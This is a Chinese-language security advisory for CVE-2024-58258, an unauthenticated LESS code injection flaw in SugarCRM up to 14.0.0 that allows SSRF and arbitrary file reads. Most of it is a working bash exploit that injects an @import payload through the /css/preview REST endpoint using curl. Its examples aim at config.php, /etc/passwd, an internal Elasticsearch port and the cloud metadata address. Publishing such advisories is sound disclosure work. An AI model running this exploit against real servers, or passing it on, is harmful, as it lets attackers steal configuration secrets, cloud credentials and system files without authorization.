本文详细分析了SugarCRM 14.0.0版本中存在的SSRF和代码注入漏洞,通过未经验证的REST API端点实现任意LESS代码执行,导致敏感信息泄露和服务器端请求伪造。
漏洞标题:SugarCRM 14.0.0 - SSRF/代码注入
作者:Egidio Romano aka EgiX
邮箱:n0b0d13s@gmail.com
软件链接:https://www.sugarcrm.com
受影响版本:所有商业版本13.0.4之前和14.0.1之前。
CVE参考:CVE-2024-58258
漏洞描述:
通过GET参数传递给/css/preview REST API端点的用户输入在解析为LESS代码之前未经过适当清理。远程未经验证的攻击者可以利用此漏洞注入并执行任意LESS指令。通过滥用@import LESS语句,攻击者可以触发服务器端请求伪造(SSRF)或读取Web服务器上的任意本地文件,可能导致敏感信息泄露。
漏洞验证:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#!/bin/bash
echo
echo "+----------------------------------------------------------------------+";
echo "| SugarCRM <= 14.0.0 (css/preview) LESS代码注入漏洞利用 by EgiX |";
echo "+----------------------------------------------------------------------+";
if [ "$#" -ne 2 ]; then
echo -ne "\n用法:$0 <SugarCRM URL> <本地文件或SSRF URL>\n"
echo -ne "\n示例:$0 'http://localhost/sugarcrm/' 'config.php'"
echo -ne "\n示例:$0 'http://localhost/sugarcrm/' '/etc/passwd'"
echo -ne "\n示例:$0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
echo -ne "\n示例:$0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
exit 1
fi
urlencode() {
echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
}
INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1¶m=${INJECTION}")
if echo "$RESPONSE" | grep -q "________"; then
echo -e "\n'$2'的输出:\n"
echo "$RESPONSE" | sed '/________/q' | grep -v '________'
echo
else
echo -e "\n错误:漏洞利用失败!\n"
exit 2
fi
|
致谢:漏洞由Egidio Romano发现。
原始公告:http://karmainsecurity.com/KIS-2025-04
其他参考:https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/